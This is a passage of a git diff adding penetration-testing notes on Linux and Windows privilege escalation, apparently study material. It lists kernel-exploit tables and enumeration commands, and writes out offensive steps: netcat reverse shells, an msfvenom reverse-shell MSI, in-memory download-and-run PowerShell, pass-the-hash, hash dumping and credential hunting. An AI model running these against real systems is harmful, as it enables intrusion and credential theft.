Warning. Pre-compiled binaries files. Use at your own risk** + +http://web.archive.org/web/20111118031158/ + +http://tarantula.by.ru/localroot/ + +http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/ + +Exploitation +============ + +Kernel Exploits +--------------- + +Use searchsploit and Google to search for kernel or OS version exploits: + +.. code-block:: none + + searchsploit -t Linux Kernel Pri Esc 2.6.18 + searchsploit -t Linux Kernel Pri Esc 2.6 + searchsploit -t Linux Kernel Pri Esc 2.x + +.. code-block:: none + + searchsploit -t CentOS 4.8 + searchsploit -t CentOS 4.x + searchsploit -t CentOS 4 + +Root Services +------------- + +Look for processes running as root: + +.. code-block:: none + + ps -aux | grep root + +Look for root processes that are listening on ports (especially internal ones): + +.. code-block:: none + + netstat -etulp + netstat -etulp | grep root + + +SUID / SGID Executables +----------------------- + +Find SUID / SGID executables and investigate them further: + +.. code-block:: none + + find / -type f -a \( -perm -u+s -o -perm -u+s \) -exec ls -l {} \; 2> /dev/null + find / -type f -a -perm -o+x -a \( -perm -u+s -o -perm -u+s \) -exec ls -l {} \; 2> /dev/null + +Common escalation techniques: + +* If the executable is writable, we can replace it with a malicious one. +* If the executable uses a shared object we can write to, we can replace it with a malicious one. +* If the executable depends on environment variables to refer to other executables, we can manipulate them. + +Sudo Rights +----------- + +Check to see if we have any rights to run commands with sudo: + +.. code-block:: none + + sudo -l + +pkexec +------ + +If pkexec is installed (usually /usr/bin/pkexec) and is SUID, and we have regular user credentials, we might be able to run commands as root: + +.. code-block:: none + + pkexec --user root /bin/sh + +Cron Jobs +--------- + +Check for any weaknesses in cron jobs: + +.. code-block:: none + + cat /etc/crontab + ls -l /etc/cron.* + +Insecure PATH +------------- + +Check to see if any users have modified their PATH environment variable (e.g. in their .bashrc or .profile files) that we can exploit. + +Sources +======= + +* http://pentestmonkey.net/tools/unix-privesc-check/ +* https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ +* https://payatu.com/guide-linux-privilege-escalation/ +* http://www.0daysecurity.com/penetration-testing/enumeration.html +* http://www.microloft.co.uk/hacking/hacking3.htm +* http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf +* http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf +* http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html diff --git a/privilege-escalation/overview.rst b/privilege-escalation/overview.rst new file mode 100644 index 0000000..306f044 --- /dev/null +++ b/privilege-escalation/overview.rst @@ -0,0 +1,9 @@ +######## +Overview +######## + +Useful Tools +============ + +* https://github.com/importpw/static-binaries - statically-linked binaries for both Linux (x86/x64), Windows (x86/x64), and OS X (x64). +* https://www.reddit.com/r/AskNetsec/comments/7bvx28/oscp_and_privilege_escalation/ diff --git a/privilege-escalation/windows/index.rst b/privilege-escalation/windows/index.rst new file mode 100644 index 0000000..2c0a7d5 --- /dev/null +++ b/privilege-escalation/windows/index.rst @@ -0,0 +1,9 @@ +############################ +Windows Privilege Escalation +############################ + +.. toctree:: + :glob: + :maxdepth: 1 + + * diff --git a/privilege-escalation/windows/missing-patch-exploits.rst b/privilege-escalation/windows/missing-patch-exploits.rst new file mode 100644 index 0000000..3021431 --- /dev/null +++ b/privilege-escalation/windows/missing-patch-exploits.rst @@ -0,0 +1,257 @@ +###################### +Missing Patch Exploits +###################### + +* https://github.com/SecWiki/windows-kernel-exploits +* http://www.bhafsec.com/wiki/index.php/Windows_Privilege_Escalation + +.. list-table:: + :header-rows: 1 + :widths: 20 20 20 40 + + * - Title + - Operating System(s) + - ID(s) + - Exploit(s) + * - Win32k + - | Windows 7 + | Windows 8.1 + | Windows RT 8.1 + | Windows 10 + | Windows Server 2008 + | Windows Server 2008 R2 + | Windows Server 2012 + | Windows Server 2012 R2 + | Windows Server 2016 + | Windows Server 2019 + - | CVE-2018-8639 + - * `ze0r GitHub `__ (C++ Source + Compiled) + * - Total Meltdown + - | Windows 7 SP1 + | Windows Server 2008 R2 SP1 + - | CVE-2018-1038 + - * `xpn (GitHub Gist) `__ (C Source) + * - Windows Subsystem for Linux + - | Windows 10 version 1703 + | Windows 10 version 1709 + | Windows Server version 1709 + - | CVE-2018-0743 + - * `saaramar (GitHub) `__ (C Source) + * - Win32k + - | Windows 7 + | Windows 8.1 + | Windows RT 8.1 + | Windows 10 + | Windows Server 2008 + | Windows Server 2008 R2 + | Windows Server 2012 + | Windows Server 2012 R2 + | Windows Server 2016 + | Windows Server 2019 + - | CVE-2018-8453 + - * `ze0r GitHub `__ (C++ Source + Compiled) + * - Advanced Local Procedure Call (ALPC) + - | Windows 7 + | Windows 8.1 + | Windows RT 8.1 + | Windows 10 + | Windows Server 2008 + | Windows Server 2008 R2 + | Windows Server 2012 + | Windows Server 2012 R2 + | Windows Server 2016 + | Windows Server 2019 + - | CVE-2018-8440 + - * `sourceincite GitHub `__ (C++ Source + Compiled) + * - GDI Palette Objects + - | Windows 7 SP1 x86 + - | MS17-017 + | KB4013081 + - * `SecWiki GitHub `__ (C++ Source + Compiled) + * `ExploitDB `__ (C++ Source) + * `SensePost GitHub `__ (C++ Source + Compiled) + * - Windows COM Aggregate Marshaler + - | Windows 7 SP1 + | Windows 8.1 + | Windows RT 8.1 + | Windows 10 Gold, 1511, 1607, and 1703 + | Windows Server 2008 SP2 and R2 SP1 + | Windows Server 2012 Gold and R2 + | Windows Server 2016 + - | CVE-2017-0213 + - * `SecWiki GitHub `__ (C++ Source + Compiled) + * `BHaFSec `__ (Compiled) + * `ExploitDB `__ (C++ Source) + * - Win32k + - | Windows 7 + | Windows Server 2008 + | Windows Server 2008 R2 + - | CVE-2018-8120 + - * `SecWiki GitHub `__ (Compiled) + * `bigric3 GitHub `__ (C++ Source) + * - Windows Kernel Mode Drivers + - Windows Server 2016 + - | MS16-135 + | KB3199135 + | CVE-2016-7255 + - * `MWR Labs GitHub `__ (C++ Source Code) + * `FuzzySecurity GitHub `__ (PowerShell) + * - Secondary Logon Handle + - | Windows 7 + | Windows 8 + | Windows 10 + | Windows Server 2008 + | Windows Server 2012 + - | MS16-032 + | KB3143141 + - * `ExploitDB `__ (PowerShell) + * `khr0x40sh GitHub `__ (C++ Source + Compiled) + * `Metasploit `__ (Module) + * - WebDAV + - | Windows Vista + | Windows 7 + | Windows Server 2008 + - | MS16-016 + | KB3136041 + | CVE-2016-0051 + - * `koczkatamas GitHub `__ (C# Source + Compiled) + * - Windows Kernel Mode Drivers + - | Windows 7 + | Windows 8 + | Windows Server 2003 + | Windows Server 2008 + | Windows Server 2012 + - | MS15-051 + | KB3057191 + | CVE-2015-1701 + - * `hfiref0x GitHub `__ (C Source + Compiled) + * `Metasploit `__ (Module) + * - Win32k.sys + - | Windows 7 + | Windows 8 + | Windows Server 2003 + | Windows Server 2008 + | Windows Server 2012 + - | MS14-058 + | KB3000061 + | CVE-2014-4113 + - * `sam-b `__ (C++ Source) + * `Metasploit `__ (Module) + * - AFD Driver + - | Windows 7 + | Windows 8 + | Windows Server 2003 + | Windows Server 2008 + | Windows Server 2012 + - | MS14-040 + | KB2975684 + - * `BHaFSec `__ (Python) + * `BHaFSec `__ (Compiled) + * `ExploitDB `__ (Python) + * `JeremyFetiveau GitHub `__ (C++ Source) + * - Windows Kernel + - | Windows XP + | Windows Server 2003 + - | MS14-002 + | KB2914368 + - * `Metasploit `__ (Module) + * - Kernel Mode Driver + - | Windows 7 + | Windows 8 + | Windows Server 2003 + | Windows Server 2008 + | Windows Server 2012 + - | MS13-005 + | KB2778930 + - * `ExploitDB `__ (C++ Source) + * `0vercl0k GitHub `__ (C++ Source) + * `Metasploit `__ (Module) + * - Task Scheduler + - | Windows 7 + | Windows Server 2008 + - | MS10-092 + | KB2305420 + - * `ExploitDB `__ (Windows Script File Source) + * `Metasploit `__ (Module) + * - KiTrap0D + - | Windows NT + | Windows 2000 + | Windows XP + | Windows Vista + | Windows 7 + | Windows Server 2003 + | Windows Server 2008 + - | MS10-015 + | KB977165 + - * `ExploitDB `__ (Compiled) + * `Metasploit `__ (Module) + * - NDProxy + - | Windows XP + | Windows Server 2003 + - | MS14-002 + | KB2914368 + - * `BHaFSec `__ (Compiled) + * `ExploitDB `__ (Python) + * `ExploitDB `__ (C Source) + * `dev-zzo GitHub `__ (C Source) + * - Kernel Driver + - | Windows 7 + | Windows 8 + | Windows Server 2003 + | Windows Server 2008 + | Windows Server 2012 + - | MS15-061 + | KB3057839 + - * `Rootkitsmm GitHub `__ (C++ Source) + * - AFD.sys + - | Windows XP + | Windows Server 2003 + - | MS11-080 + | KB2592799 + - * `BHaFSec `__ (Compiled) + * `ExploitDB `__ (Python) + * `Metasploit `__ (Module) + * - NDISTAPI + - | Windows XP + | Windows Server 2003 + - | MS11-062 + | KB2566454 + - * `ExploitDB `__ (C Source) + * - RPC + - | Windows 7 + | Windows 8 + | Windows Server 2003 + | Windows Server 2008 + | Windows Server 2012 + - | MS15-076 + | KB3067505 + - * `monoxgas GitHub `__ (C# Source + Compiled) + * - Hot Potato + - | Windows 7 + | Windows 8 + | Windows Server 2003 + | Windows Server 2008 + | Windows Server 2012 + - | MS16-075 + | KB3164038 + - * `breenmachine GitHub `__ (C++ Source + Compiled) + * `Kevin-Robertson GitHub `__ (PowerShell) + * `foxglovesec GitHub `__ (C# Source + Compiled) + * - Kernel Driver + - | Windows XP + | Windows 7 + | Windows Server 2003 + | Windows Server 2008 + - | MS15-010 + | KB3036220 + - * `ExploitDB `__ (C++ Source) + * - AFD.sys + - | Windows XP + | Windows Vista + | Windows 7 + | Windows Server 2003 + | Windows Server 2008 + - | MS11-046 + | KB2503665 + - * `BHaFSec `__ (Compiled) + * `ExploitDB `__ (C Source) diff --git a/privilege-escalation/windows/windows-examples.rst b/privilege-escalation/windows/windows-examples.rst new file mode 100644 index 0000000..4ca9397 --- /dev/null +++ b/privilege-escalation/windows/windows-examples.rst @@ -0,0 +1,282 @@ +##################################### +Windows Privilege Escalation Examples +##################################### + +Weak Service Permissions +======================== + +Writable Service Executables +---------------------------- + +If a services is found which runs as SYSTEM or Administrator level users, and it has weak file permissions, we may be able to replace the service binary, restart the service, and escalate privileges. + +Use wmic to extract a list of service executables: + +.. code-block:: none + + for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\services.txt + +If wmic is not available: + +.. code-block:: none + + sc query state= all | findstr "SERVICE_NAME:" >> servicenames.txt + FOR /F "tokens=2 delims= " %i in (servicenames.txt) DO @echo %i >> services.txt + FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt + +Then use either accesschk.exe, cacls, or icacls to list the access permissions associated with each service executable: + +.. code-block:: none + + for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\services.txt) do cmd.exe /c accesschk.exe /accepteula -qv "%a" >> accesschk.txt + + for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\services.txt) do cmd.exe /c cacls "%a" >> cacls.txt + + for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\services.txt) do cmd.exe /c icacls "%a" >> icacls.txt + +With accesschk results, look for the following permissions: + +.. csv-table:: + :header: "Permission", "Use Case" + + "SERVICE_ALL_ACCESS", "Can do anything." + "SERVICE_CHANGE_CONFIG", "Can reconfigure the service binary." + "WRITE DAC", "Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG." + "WRITE_OWNER", "Can become owner, reconfigure permissions." + "GENERIC_WRITE", "Inherits SERVICE_CHANGE_CONFIG" + "GENERIC_ALL", "Inherits SERVICE_CHANGE_CONFIG" + +With cacls and icacls, look for (F)ull Access, (M)odify access, (W)rite-only access, (WDAC) write DAC, or (WO) write owner. + +Writable Service Objects +------------------------ + +Use accesschk.exe to find writable service objects: + +.. code-block:: none + + accesschk.exe /accepteula -uwcqv "Authenticated Users" * + +Query a vulnerable service: + +.. code-block:: none + + sc qc + +Update the service binary path: + +.. code-block:: none + + sc config binpath= "" + +Update the name of the account which a service runs as: + +.. code-block:: none + + sc config upnphost obj= ".\LocalSystem" password= "" + +Stop / Start a service: + +.. code-block:: none + + wmic service call stopservice + wmic service call startservice + + net stop + net start + + sc stop + sc start + +If the service fails to start because of a dependency, you can start the dependency manually, or remove the dependency: + +.. code-block:: none + + sc config depend= "" + +All-in-one comnand: + +.. code-block:: none + + sc config binPath= "" depend= "" start= demand obj= ".\LocalSystem" password= "" + +Unquoted Service Paths +---------------------- + +Find unquoted service paths: + +.. code-block:: none + + wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ + +If the unquoted service path is :code:`C:\Program Files\path to\service.exe`, you can place a binary in any of the following paths: + +.. code-block:: none + + C:\Program.exe + C:\Program Files.exe + C:\Program Files\path.exe + C:\Program Files\path to.exe + C:\Program Files\path to\service.exe + +Cleartext Passwords +=================== + +Find passwords in arbitrary files: + +.. code-block:: none + + findstr /si password *.txt *.xml *.ini + +Find strings in filenames: + +.. code-block:: none + + dir /s *pass* == *cred* == *vnc* == *.config* + +Find passwords in all files: + +.. code-block:: none + + findstr /spin "password" *.* + +Common files which contain passwords: + +.. code-block:: none + + type c:\sysprep.inf + type c:\sysprep\sysprep.xml + type c:\unattend.xml + type %WINDIR%\Panther\Unattend\Unattended.xml + type %WINDIR%\Panther\Unattended.xml + dir c:*vnc.ini /s /b + dir c:*ultravnc.ini /s /b + dir c:\ /s /b | findstr /si *vnc.ini + +Search for passwords in the registry: + +.. code-block:: none + + reg query HKLM /f password /t REG_SZ /s + reg query HKCU /f password /t REG_SZ /s + reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" + reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" + reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" + reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password + +Passing the Hash +================ + +The following commands can be used to dump password hashes: + +.. code-block:: none + + wce32.exe -w + wce64.exe -w + fgdump.exe + +Remote +------ + +Pass the hash remotely to gain a shell: + +.. code-block:: none + + pth-winexe -U /% // cmd + +Sometimes you may need to reference the target by its hostname (add an entry to /etc/hosts to make it resolve): + +.. code-block:: none + + pth-winexe -U /% // cmd + +Alternative: + +.. code-block:: none + + export SMBHASH= + pth-winexe -U /% // cmd + +Local +----- + +Pass the hash locally using runas: + +.. code-block:: none + + C:\Windows\System32\runas.exe /env /noprofile /user: "C:\Windows\Temp\nc.exe 53 -e cmd.exe" + +Pass the hash locally using PowerShell: + +.. code-block:: none + + secpasswd = ConvertTo-SecureString "" -AsPlainText -Force + mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) + computer = "" + [System.Diagnostics.Process]::Start("C:\Windows\Temp\nc.exe"," 53 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer) + +Pass the hash locally using psexec: + +.. code-block:: none + + psexec64 \\ -u -p -h "C:\Windows\Temp\nc.exe 53 -e cmd.exe" + +Loopback Services +================= + +Search for services listening on the loopback interface: + +.. code-block:: none + + netstat -ano | findstr "LISTEN" + +Use plink.exe to forward the loopback port to a port on our attacking host (via SSH): + +.. code-block:: none + + plink.exe -l -pw -R :127.0.0.1: + +AlwaysInstallElevated +===================== + +AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions. + +Both the following registry values must be set to "1" for this to work: + +.. code-block:: none + + reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated + reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated + +Create a malicious MSI: + +.. code-block:: none + + msfvenom -p windows/adduser USER=pwned PASS=P@ssw0rd -f msi -o evil.msi + +Use msiexec to run the malicious MSI: + +.. code-block:: none + + msiexec /quiet /qn /i C:\evil.msi + +Stored Credentials +================== + +If there are stored credentials, we can run commands as that user: + +.. code-block:: none + + $ cmdkey /list + + Currently stored credentials: + + Target: Domain:interactive=PWNED\Administrator + Type: Domain Password + User: PWNED\Administrator + +Execute commands by using runas with the /savecred argument. Note that full paths are generally needed: + +.. code-block:: none + + runas /user:PWNED\Administrator /savecred "C:\Windows\System32\cmd.exe /c C:\Users\Public\nc.exe -nv -e cmd.exe" diff --git a/privilege-escalation/windows/windows.rst b/privilege-escalation/windows/windows.rst new file mode 100644 index 0000000..d7955fa --- /dev/null +++ b/privilege-escalation/windows/windows.rst @@ -0,0 +1,746 @@ +############################ +Windows Privilege Escalation +############################ + +TODO +==== + +* https://github.com/mubix/post-exploitation +* https://www.roguesecurity.in/2018/12/02/a-guide-for-windows-penetration-testing/ +* https://github.com/pentestmonkey/windows-privesc-check +* https://github.com/togie6/Windows-Privesc +* https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ +* https://guif.re/windowseop +* https://lolbas-project.github.io/ +* https://github.com/sagishahar/lpeworkshop +* https://ostrokonskiy.com/posts/windows-privilege-escalation.html +* https://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html +* https://github.com/frizb/Windows-Privilege-Escalation +* https://github.com/rasta-mouse/Watson +* https://www.roguesecurity.in/2018/12/02/a-guide-for-windows-penetration-testing/ +* https://github.com/codingo/OSCP-2 +* https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/ +* https://github.com/psychomario/pyinject +* https://resources.infosecinstitute.com/poor-mans-process-migration-windows/ +* https://toshellandback.com/2015/11/24/ms-priv-esc/21/ +* https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md +* https://github.com/skelsec/pypykatz +* https://github.com/Ben0xA/nps +* https://mysecurityjournal.blogspot.com/p/client-side-attacks.html +* http://virgil-cj.blogspot.com/2018/02/escalation-time.html + +Quick Wins +========== + +1. Windows OS exploits. Google " privilege escalation" for some of the more popular ones. Add "x86" or "x64" to be more specific. searchsploit can be used as well, though sometimes the name / description won't include the specific version number. + +2. Program exploits. Look for non-default programs installed. Try to enumerate version. Google + searchsploit. + +3. Use accesschk.exe to check for services / files with bad permissions. + +4. Check for passwords in files / the registry. We might get lucky and be able to RDP in. (reg query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon") + +5. Use "Citrix" breakout techniques if we have a GUI that is running as SYSTEM. Many ways to spawn a shell. + +6. Are we running as "nt authority\\network service"? Use token kidnapping (churrasco.exe). + + +Information Gathering +===================== + +Automated Scripts +----------------- + +| **Powerless:** :download:`Powerless.bat ` (https://github.com/M4ximuss/Powerless) +| **Windows Enumeration Script:** :download:`winenum.bat ` (https://github.com/h1gh1and3r/Pentesting/blob/master/Scripts/winenum.bat) +| **Windows Enumeration Powershell Script:** :download:`WindowsEnum.ps1 ` (https://github.com/stillinsecure/WindowsEnum/blob/master/WindowsEnum.ps1) +| **WMIC Info Script:** :download:`wmic_info.bat ` (http://www.fuzzysecurity.com/scripts/files/wmic_info.rar) +| https://github.com/AlessandroZ/BeRoot + +PowerUp +^^^^^^^ + +| https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 + +PowerUp is part of the PowerSploit framework. It will search for various privilege escalation methods. Either download the script onto the target and run via a PowerShell instance: + +.. code-block:: none + + C:\> powershell.exe -nop -exec bypass + PS C:\> Import-Module .\PowerUp.ps1 + PS C:\> Invoke-AllChecks + +Or run from cmd.exe directly: + +.. code-block:: none + + powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}" + +If uploading to the target is difficult, we can run from memory: + +.. code-block:: none + + powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://:/PowerUp.ps1'); Invoke-AllChecks" + +WindowsEnum +^^^^^^^^^^^ + +**Requires PowerShell 3.0+** + +| https://github.com/stillinsecure/WindowsEnum/blob/master/WindowsEnum.ps1 + +.. code-block:: none + + C:\> powershell.exe -nop -exec bypass + PS C:\> .\WindowsEnum.ps1 extended + +.. code-block:: none + + C:\> powershell.exe -nologo -exec bypass bypass -file WindowsEnum.ps1 extended + +Windows Exploit Suggester - Next Generation +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +| https://github.com/bitsadmin/wesng + +Save the output of the :code:`systeminfo` command and pass it to the program: + +.. code-block:: none + + python3 wes.py systeminfo.txt | grep --color -B5 "Privilege" | less + +Sherlock +^^^^^^^^ + +An outdated PowerShell script which shows you exploits that are available for the current system. Either download the script onto the target and run via a PowerShell instance: + +.. code-block:: none + + C:\> powershell.exe -nop -exec bypass + PS C:\> Import-Module .\Sherlock.ps1 + PS C:\> Find-AllVulns + +Or run from cmd.exe directly: + +.. code-block:: none + + powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1; Find-AllVulns}" + +If uploading to the target is difficult, we can run from memory: + +.. code-block:: none + + powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://:/Sherlock.ps1'); Find-AllVulns" + +**Windows Kernel Exploits:** https://github.com/SecWiki/windows-kernel-exploits + +Code and (sometimes) compiled executables that exploit kernel vulnerabilities. + +System Information +------------------ + +Information about the operating system, version, hostname, etc. + +.. code-block:: none + + systeminfo + hostname + systeminfo | findstr /B /C:"OS Name" /C:"OS Version" + type C:\Windows\system32\eula.txt + type C:\Windows\System32\license.rtf + +Pass the output of systeminfo to wes.py with an updated microsoft security bulletin database: + +.. code-block:: bash + + python3 wes.py --update + python3 wes.py systeminfo.txt | grep --color -B5 "Privilege" | less + +Who Are We? +----------- + +Methods to figure out which user we are currently logged in as. + +.. code-block:: none + + whoami + echo %username% + +If neither of the above work, try: + +.. code-block:: none + + title offsec && for /f "tokens=2,8" %a in ('tasklist /v ^| findstr "offsec"') do echo Current User: %b, Current PID: %a + +Environment +----------- + +Environment variables can often reveal interesting information: + +.. code-block:: none + + set + echo %path% + +Directory Listing +----------------- + +List all directories, including hidden and Alternate Data Streams (ADS): + +.. code-block:: none + + dir /r + +Get the list of folders and files in tree structure: + +.. code-block:: none + + tree /a /f + +Files +----- + +Read file contents: + +.. code-block:: none + + type file.txt + powershell Get-Content file.txt + +Find alternate data streams (ADS): + +.. code-block:: none + + dir /R + +Find alternate data streams with powershell: + +.. code-block:: none + + powershell Get-Item -Path -Stream * + +Read the alternate data stream (ADS) (note: only works on NT6+): + +.. code-block:: none + + powershell Get-Content file.txt -Stream hidden.txt + +Show file permissions: + +.. code-block:: none + + cacls file.txt + icacls file.txt + powershell Get-Acl file | fl * + +User / Group Enumeration +------------------------ + +List users and user groups on the machine. + +.. code-block:: none + + net users + net localgroup + +List Administrators: + +.. code-block:: none + + net localgroup Administrators + +View User Info +-------------- + +List information about a specific user (use against your current user, and any users identified) + +.. code-block:: none + + net user user1 + +Especially of interest would be any groups our user has other than "Users". + +List Domain Groups +------------------ + +List any groups which are part of the domain. + +.. code-block:: none + + net group /domain + +List Members of Domain Group +---------------------------- + +List members of domain groups previously identified. + +.. code-block:: none + + net group /domain + +Find other Windows hosts on the network +--------------------------------------- + +.. code-block:: none + + net view + +Drives +------ + +List configured disk drives. + +.. code-block:: none + + wmic logicaldisk get name + wmic logicaldisk get caption + fsutil fsinfo drives + powershell -Command "get-psdrive -psprovider filesystem" + +List locally shared drives: + +.. code-block:: none + + net share + +Network +------- + +Display network interfaces, the routing table, and the ARP cache for the host. + +.. code-block:: none + + ipconfig /all + route print + arp -A + +Active Connections +------------------ + +Display all active connections, plus any local ports that are being listened to by a process. A local address of "0.0.0.0" or "[::]" implies that the process is listening for external connections. + +.. code-block:: none + + netstat -ano + netstat /anto + +Firewall +-------- + +Display the state of the firewall, plus the current configuration. + +Note: the "netsh" command is only available from XP SP2 onwards. + +.. code-block:: none + + netsh firewall show state + netsh firewall show config + netsh advfirewall show all + netsh advfirewall firewall show rule profile=any name=all + +Scheduled Tasks +--------------- + +This will usually display a long detailed list of currently scheduled tasks, including ones that run on boot. + +.. code-block:: none + + schtasks /query /fo LIST /v + +Look for tasks where "Run As User" is set to some user with high privileges (e.g. SYSTEM). See if we can overwrite the executable. + +Viewing loaded DLLs +------------------- + +View all loaded DLLs + +.. code-block:: none + + tasklist /m + +Find specific DLLs + +.. code-block:: none + + tasklist /m | find /i + +Running Processes (with Service Names) +-------------------------------------- + +List all running processes, plus PID and service name. + +.. code-block:: none + + tasklist /SVC + +List Started Services +--------------------- + +List the names of services which are running. + +.. code-block:: none + + net start + +List Services +------------- + +List all services with statuses and some other info. Run without "brief" for way more details. + +.. code-block:: none + + wmic service list brief + +List Installed Device Drivers +----------------------------- + +.. code-block:: none + + driverquery + +Check Patches +------------- + +.. code-block:: none + + wmic qfe get Caption,Description,HotFixID,InstalledOn + + wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.." + +The best strategy is to look for privilege escalation exploits and look up their respective KB patch numbers. Such exploits include, but are not limited to, KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799). After enumerating the OS version and Service Pack you should find out which privilege escalation vulnerabilities could be present. Using the KB patch numbers you can grep the installed patches to see if any are missing. + +Mass Rollout Files +------------------ + +If there is an environment where many machines need to be installed, typically, a technician will not go around from machine to machine. There are a couple of solutions to install machines automatically. What these methods are and how they work is less important for our purposes but the main thing is that they leave behind configuration files which are used for the installation process. These configuration files contain a lot of sensitive sensitive information such as the operating system product key and Administrator password. What we are most interested in is the Admin password as we can use that to escalate our privileges. + +.. code-block:: none + + c:\sysprep.inf + c:\sysprep\sysprep.xml + %WINDIR%\Panther\Unattend\Unattended.xml + %WINDIR%\Panther\Unattended.xml + +Group Policy +------------ + +Group Policy preference files can be used to create local users on domain machines. When the box you compromise is connected to a domain it is well worth looking for the Groups.xml file which is stored in SYSVOL. Any authenticated user will have read access to this file. + +The default location for SYSVOL is: + +.. code-block:: none + + %SYSTEMROOT%\SYSVOL + +Dump the current GPO for the host / user: + +.. code-block:: none + + gpresult /R > gpo_results.txt + +In addition to Groups.xml several other policy preference files can have the optional "cPassword" attribute set: + +* Services\Services.xml: `Element-Specific Attributes `__ +* ScheduledTasks\ScheduledTasks.xml: `Task Inner Element `__, `TaskV2 Inner Element `__, `ImmediateTaskV2 Inner Element `__ +* Printers\Printers.xml: `SharedPrinter Element `__ +* Drives\Drives.xml: `Element-Specific Attributes `__ +* DataSources\DataSources.xml: `Element-Specific Attributes `__ + +AlwaysInstallElevated +--------------------- + +If the AlwaysInstallElevated registry setting is enabled it allows users of any privilege level to install \*.msi files as NT AUTHORITY\\SYSTEM. + +.. code-block:: none + + # This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1. + + reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated + reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated + +If both keys are enabled, create a .msi payload: + +.. code-block:: none + + msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=53 -f msi -o /path/to/payload.msi + +After uploading the payload, it can be executed using msiexec: + +.. code-block:: none + + msiexec /quiet /qn /i payload.msi + +| /quiet = suppress messages +| /qn = No GUI +| /i = Regular installation + + +Search Files / Registry +----------------------- + +Search for files with filenames containing certain words: + +.. code-block:: none + + dir /s *pass* == *cred* == *vnc* == *.config* + +Search certain file types for a keyword, this can generate a lot of output: + +.. code-block:: none + + findstr /si password *.xml *.ini *.txt + +Search the registry for keywords, in this case "password": + +.. code-block:: none + + reg query HKLM /f password /t REG_SZ /s + reg query HKCU /f password /t REG_SZ /s + +accesschk.exe +------------- + +The accesschk.exe binary can be used to enumerate group permissions on Windows services. The following table shows the permissions which are useful to us: + +.. csv-table:: + :header: "Permission", "Use Case" + + "SERVICE_ALL_ACCESS", "Can do anything." + "SERVICE_CHANGE_CONFIG", "Can reconfigure the service binary." + "WRITE DAC", "Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG." + "WRITE_OWNER", "Can become owner, reconfigure permissions." + "GENERIC_WRITE", "Inherits SERVICE_CHANGE_CONFIG" + "GENERIC_ALL", "Inherits SERVICE_CHANGE_CONFIG" + +:download:`Download accesschk.exe ` + +List all services and the permissions each user level has on them. + +.. code-block:: none + + accesschk.exe /accepteula -ucqv * + +List services which the "Authenticated Users" user group have permissions over (remember to check other user groups you are a member of). + +.. code-block:: none + + accesschk.exe /accepteula -uwcqv "Authenticated Users" * + +List permissions for a specific service: + +.. code-block:: none + + accesschk.exe /accepteula -ucqv Spooler + +List permissions for a specific directory: + +.. code-block:: none + + accesschk.exe /accepteula -dqv "C:\Path" + +Find all weak folder permissions per drive: + +.. code-block:: none + + accesschk.exe /accepteula -uwdqs Users C:\ + accesschk.exe /accepteula -uwdqs "Authenticated Users" C:\ + +Find all weak file permissions per drive: + +.. code-block:: none + + accesschk.exe /accepteula -uwqs Users C:\*.* + accesschk.exe /accepteula -uwqs "Authenticated Users" C:\*.* + +Examples +======== + +Weak Service Permissions +------------------------ + +Reconfiguring the upnphost service to execute a netcat reverse shell with SYSTEM level privileges: + +.. code-block:: none + + C:\> accesschk.exe /accepteula -ucqv upnphost + + upnphost + + RW NT AUTHORITY\SYSTEM + SERVICE_ALL_ACCESS + RW BUILTIN\Administrators + SERVICE_ALL_ACCESS + RW NT AUTHORITY\Authenticated Users + SERVICE_ALL_ACCESS + RW BUILTIN\Power Users + SERVICE_ALL_ACCESS + RW NT AUTHORITY\LOCAL SERVICE + SERVICE_ALL_ACCESS + + C:\> sc qc upnphost + + [SC] GetServiceConfig SUCCESS + + SERVICE_NAME: upnphost + TYPE : 20 WIN32_SHARE_PROCESS + START_TYPE : 3 DEMAND_START + ERROR_CONTROL : 1 NORMAL + 